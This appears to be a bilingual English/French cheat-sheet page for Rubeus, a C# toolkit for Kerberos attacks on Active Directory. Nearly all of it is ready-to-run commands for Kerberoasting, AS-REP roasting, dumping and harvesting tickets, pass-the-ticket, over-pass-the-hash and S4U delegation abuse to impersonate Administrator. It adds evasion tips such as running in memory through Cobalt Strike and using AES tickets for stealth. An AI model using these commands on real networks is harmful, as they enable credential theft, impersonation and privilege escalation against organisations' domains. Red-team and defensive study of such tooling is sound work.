Rubeus

Toolkit Kerberos en C#. Réalise du Kerberoasting, de l'AS-REP Roasting, du pass-the-ticket, de l'over-pass-the-hash, de la collecte de tickets et de l'abus S4U. C# Kerberos toolkit. Performs Kerberoasting, AS-REP Roasting, pass-the-ticket, over-pass-the-hash, ticket harvesting, and S4U abuse.

↗ https://github.com/GhostPack/Rubeus

Overview

Rubeus is the primary C# toolkit for Kerberos-based attacks in Active Directory. It runs in memory on Windows (no disk touch when loaded via C2) and covers the full Kerberos attack chain from initial enumeration to privilege escalation.

Kerberoasting

# Kerberoast all SPNs
Rubeus.exe kerberoast

# Output as hashcat format (mode 13100)
Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
Rubeus.exe kerberoast /user:svc_sql

# RC4 only (easier to crack than AES)
Rubeus.exe kerberoast /rc4opsec

AS-REP Roasting

# Find and roast AS-REP Roastable users (don't require preauth)
Rubeus.exe asreproast

# Target specific user
Rubeus.exe asreproast /user:jdoe

# Output to file
Rubeus.exe asreproast /outfile:asrep_hashes.txt /format:hashcat

Ticket Harvesting

# Harvest TGTs from current machine
Rubeus.exe harvest /interval:30

# List all tickets in memory
Rubeus.exe triage

# Dump all tickets
Rubeus.exe dump

# Dump specific ticket
Rubeus.exe dump /service:krbtgt /luid:0x3e7

# Monitor for new TGTs (useful on shared servers)
Rubeus.exe monitor /interval:10 /nowrap

Pass-the-Ticket

# Import a .kirbi ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# Import base64-encoded ticket
Rubeus.exe ptt /ticket:BASE64BLOB

# Verify imported ticket
klist

Over-Pass-the-Hash (OPTH)

# Get TGT using NTLM hash
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# Get TGT using AES256 key (stealthier)
Rubeus.exe asktgt /user:administrator /aes256:AES_KEY /ptt

# Inject into specific LUID
Rubeus.exe asktgt /user:administrator /rc4:HASH /createnetonly:C:\Windows\System32\cmd.exe

Service Ticket Requests

# Request a service ticket (TGS)
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/server.domain.local /ptt

# S4U2self (impersonate user to service)
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/server.domain.local /ptt

# S4U2proxy (constrained delegation abuse)
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator \
  /msdsspn:cifs/server.domain.local /altservice:host,http /ptt

Certificate-Based Auth (PKINIT)

# Request TGT using a certificate
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:certpass /ptt

Tips

  • Always use /nowrap when running over a C2 to avoid line-break issues with base64 tickets
  • /createnetonly creates a sacrificial process — inject the ticket there to avoid contaminating your current session
  • AES256 tickets (/aes256) are stealthier than RC4 — AES is the default on modern domains
  • Combine with Cobalt Strike’s execute-assembly to run entirely in memory
Key commands reference
Rubeus.exe [command] [options]

Roasting:
  kerberoast           Kerberoast SPNs
  asreproast           AS-REP Roast users

Tickets:
  triage               List all tickets
  dump                 Dump tickets
  harvest              Continuously harvest TGTs
  monitor              Monitor for new TGTs
  ptt                  Pass-the-ticket (import)
  purge                Remove all tickets

TGT Requests:
  asktgt               Request TGT (OPTH/certs)
  asktgs               Request service ticket
  s4u                  S4U2self/S4U2proxy abuse
  renew                Renew a TGT

Other:
  changepw             Change password via kpasswd
  describe             Describe a ticket
  currentluid          Get current LUID
  klist                List Kerberos tickets

Vue d’ensemble

Rubeus est le toolkit C# de référence pour les attaques basées sur Kerberos en Active Directory. Il s’exécute en mémoire sous Windows (aucune écriture disque quand il est chargé via un C2) et couvre toute la chaîne d’attaque Kerberos, de l’énumération initiale à l’élévation de privilèges.

Kerberoasting

# Kerberoaster tous les SPN
Rubeus.exe kerberoast

# Sortie au format hashcat (mode 13100)
Rubeus.exe kerberoast /outfile:hashes.txt

# Cibler un utilisateur spécifique
Rubeus.exe kerberoast /user:svc_sql

# RC4 uniquement (plus facile à casser que AES)
Rubeus.exe kerberoast /rc4opsec

AS-REP Roasting

# Trouver et roaster les utilisateurs AS-REP Roastable (sans préauth requise)
Rubeus.exe asreproast

# Cibler un utilisateur spécifique
Rubeus.exe asreproast /user:jdoe

# Sortie vers un fichier
Rubeus.exe asreproast /outfile:asrep_hashes.txt /format:hashcat

Collecte de tickets

# Collecter les TGT de la machine courante
Rubeus.exe harvest /interval:30

# Lister tous les tickets en mémoire
Rubeus.exe triage

# Dumper tous les tickets
Rubeus.exe dump

# Dumper un ticket spécifique
Rubeus.exe dump /service:krbtgt /luid:0x3e7

# Surveiller les nouveaux TGT (utile sur des serveurs partagés)
Rubeus.exe monitor /interval:10 /nowrap

Pass-the-Ticket

# Importer un ticket .kirbi
Rubeus.exe ptt /ticket:ticket.kirbi

# Importer un ticket encodé en base64
Rubeus.exe ptt /ticket:BASE64BLOB

# Vérifier le ticket importé
klist

Over-Pass-the-Hash (OPTH)

# Obtenir un TGT en utilisant le hash NTLM
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# Obtenir un TGT en utilisant la clé AES256 (plus discret)
Rubeus.exe asktgt /user:administrator /aes256:AES_KEY /ptt

# Injecter dans un LUID spécifique
Rubeus.exe asktgt /user:administrator /rc4:HASH /createnetonly:C:\Windows\System32\cmd.exe

Demandes de ticket de service

# Demander un ticket de service (TGS)
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/server.domain.local /ptt

# S4U2self (usurper un utilisateur auprès d'un service)
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/server.domain.local /ptt

# S4U2proxy (abus de délégation contrainte)
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator \
  /msdsspn:cifs/server.domain.local /altservice:host,http /ptt

Authentification par certificat (PKINIT)

# Demander un TGT en utilisant un certificat
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:certpass /ptt

Conseils

  • Toujours utiliser /nowrap en passant par un C2 pour éviter les problèmes de retour à la ligne avec les tickets en base64
  • /createnetonly crée un processus sacrificiel : y injecter le ticket pour éviter de contaminer la session courante
  • Les tickets AES256 (/aes256) sont plus discrets que RC4 : AES est le défaut sur les domaines modernes
  • Combiner avec execute-assembly de Cobalt Strike pour tout exécuter en mémoire
Référence des commandes clés
Rubeus.exe [command] [options]

Roasting:
  kerberoast           Kerberoast SPNs
  asreproast           AS-REP Roast users

Tickets:
  triage               List all tickets
  dump                 Dump tickets
  harvest              Continuously harvest TGTs
  monitor              Monitor for new TGTs
  ptt                  Pass-the-ticket (import)
  purge                Remove all tickets

TGT Requests:
  asktgt               Request TGT (OPTH/certs)
  asktgs               Request service ticket
  s4u                  S4U2self/S4U2proxy abuse
  renew                Renew a TGT

Other:
  changepw             Change password via kpasswd
  describe             Describe a ticket
  currentluid          Get current LUID
  klist                List Kerberos tickets